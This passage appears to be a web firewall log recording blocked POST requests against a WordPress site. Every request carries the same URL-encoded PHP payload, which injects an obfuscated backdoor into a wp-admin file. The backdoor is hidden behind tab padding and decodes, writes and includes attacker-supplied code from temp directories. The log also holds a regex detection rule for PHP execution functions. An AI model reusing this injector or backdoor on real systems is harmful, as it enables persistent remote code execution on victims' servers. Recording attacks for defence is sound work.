0=71\nsec-fetch-site:none\n\nHg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:29","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Js:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4712\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nJs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:30","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4712\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nYR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:32","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 